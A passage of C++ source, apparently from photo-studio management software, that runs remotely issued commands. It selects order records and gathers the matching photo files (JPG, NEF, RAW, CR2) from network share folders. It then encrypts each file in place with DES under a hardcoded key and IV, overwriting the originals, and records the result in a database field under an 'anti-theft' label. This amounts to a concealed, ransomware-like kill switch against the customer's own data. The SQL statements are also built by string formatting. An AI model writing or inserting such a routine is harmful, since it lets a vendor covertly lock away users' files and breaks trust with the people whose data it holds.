  758. CRecordset tagRst(pMaindb);
  759. strSQL.Format(_T("select top %d id from dindan where status <> '未拍' and status2 = '未选' order by id desc"), it->nCount);
  760. tagRst.Open(CRecordset::forwardOnly, strSQL);
  761. CStringArray AryOrder;
  762. while ( !tagRst.IsEOF() )
  763. {
  764. tagRst.GetFieldValue(_T("id"), strSQL);
  765. tagRst.MoveNext();
  766. ++dwIndex;
  767. AryOrder.Add(strSQL);
  768. it->vtOrders.push_back(strSQL.GetString());
  769. if ( dwIndex == it->nCount)
  770. break;
  771. }
  772. tagRst.Close();
  773. // 查找文件(多目录共享的情况);
  774. TblNetShareInfo *pNetShareInfo = NULL;
  775. CStringArray AryShareDirectory;
  776. for (CBranchInfo::NETSHAREINFO::iterator it_share = CBranchInfo::m_TblNetShareInfo.begin(); it_share != CBranchInfo::m_TblNetShareInfo.end();it_share++)
  777. {
  778. if ( _tcscmp((*it_share)->szBranchId, g_sdomain) == 0 && (*it_share)->bEnable == TRUE )
  779. {
  780. AryShareDirectory.Add((*it_share)->szShareDirectory);
  781. }
  782. }
  783. // 找出所有文件;
  784. filehelpImpl ff;
  785. STR_VEC vtFiles;
  786. TString strDirctory;
  787. for ( int i = 0; i < AryOrder.GetSize(); i++ )
  788. {
  789. for ( int j = 0; j < AryShareDirectory.GetSize(); j++ )
  790. {
  791. strDirctory = AryShareDirectory.ElementAt(j);
  792. strDirctory.append(_T("\\"));
  793. strDirctory.append(AryOrder.ElementAt(i));
  794. ff.getfiles_findin_subfolder(strDirctory.c_str(), _T("*.jpg|*.jpeg|*.nef|*.raw|*.cr2"), &vtFiles);
  795. }
  796. }
  797. BYTE szKey[MAX_PATH] = "lyfz.net";
  798. BYTE szVI[MAX_PATH] = "WorkbyIT";
  799. // 计时;
  800. // 对找到的所有文件进行加密;
  801. for ( STR_VEC::iterator it = vtFiles.begin(); it != vtFiles.end(); it++ )
  802. {
  803. DES_EncryptFile(it->c_str(), szKey, szVI, it->c_str());//DES_DecryptFile
  804. }
  805. }
  806. catch (CDBException* e)
  807. {
  808. #ifdef _DEBUG
  809. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  810. #endif
  811. }
  812. it->bExecStatus = TRUE;
  813. }
  814. }
  815. }
  816. }
  817. }
  818. // 再重组Json,并更新;
  819. pJson = cJSON_CreateObject();
  820. cJSON_AddStringToObject(pJson, "cmd-guid", stDetail.strCmdGuid);
  821. cJSON_AddBoolToObject(pJson, "SQL-Opt", stDetail.bSQLOpt);
  822. cJSON_AddBoolToObject(pJson, "Data-Opt", stDetail.bSQLOpt);
  823. cJSON *pSQLArry = cJSON_CreateArray();
  824. cJSON_AddItemToObject(pJson, "SQL-Ary",pSQLArry);
  825. pAryItem = NULL;
  826. for ( vector<SQLOpt>::iterator it = stDetail.vtSQLOpt.begin(); it != stDetail.vtSQLOpt.end(); it++ )
  827. {
  828. pAryItem = cJSON_CreateObject();
  829. cJSON_AddStringToObject(pAryItem, "Statement", it->strStatement.GetString());
  830. cJSON_AddStringToObject(pAryItem, "ExecTime", it->strExecTime.GetString());
  831. cJSON_AddBoolToObject(pAryItem, "ExecStatus", it->bExecStatus); // 执行状态;
  832. cJSON_AddItemToArray(pSQLArry, pAryItem);
  833. }
  834. pSQLArry = cJSON_CreateArray();
  835. cJSON_AddItemToObject(pJson, "Data-Ary",pSQLArry);
  836. pAryItem = NULL;
  837. for ( vector<DATAOpt>::iterator it = stDetail.vtDataOpt.begin(); it != stDetail.vtDataOpt.end(); it++ )
  838. {
  839. DATAOpt opt = *it;
  840. pAryItem = cJSON_CreateObject();
  841. cJSON_AddNumberToObject(pAryItem, "Type", it->nType); // 未选, 未取;
  842. cJSON_AddStringToObject(pAryItem, "ExecTime", it->strExecTime);
  843. cJSON_AddNumberToObject(pAryItem, "Count", it->nCount);
  844. cJSON_AddBoolToObject(pAryItem, "ExecStatus", it->bExecStatus); // 执行状态;
  845. cJSON_AddItemToArray(pSQLArry, pAryItem);
  846. cJSON *pAryOrder = cJSON_CreateArray();
  847. cJSON_AddItemToObject(pAryItem, "Order-Ary",pAryOrder);
  848. for (STR_VEC::iterator it_order = it->vtOrders.begin(); it_order != it->vtOrders.end(); it_order++ )
  849. {
  850. pAryItem = cJSON_CreateObject();
  851. cJSON_AddStringToObject(pAryItem, "order", it_order->c_str());
  852. cJSON_AddItemToArray(pAryOrder, pAryItem);
  853. }
  854. }
  855. char *out = cJSON_Print(pJson);
  856. #ifdef _DEBUG
  857. WriteTextLog(_T("Json:%s"), out);
  858. #endif
  859. g_strAntiTheftInfo = out;
  860. delete []out;
  861. cJSON_Delete(pJson);
  862. des_crypt(g_strAntiTheftInfo, g_strAntiTheftInfo, DES_ENCRYPT);
  863. strSQL.Format(_T("update version set reverse5 = '%s'"), g_strAntiTheftInfo);
  864. try
  865. {
  866. pMaindb->ExecuteSQL(strSQL);
  867. }
  868. catch (CDBException* e)
  869. {
  870. #ifdef _DEBUG
  871. WriteTextLog(_T("%s-%d,%s"), __FILE__, __LINE__, e->m_strError);
  872. #endif
  873. }
  874. Sleep(1000);
  875. }
  876. return 0L;
  877. }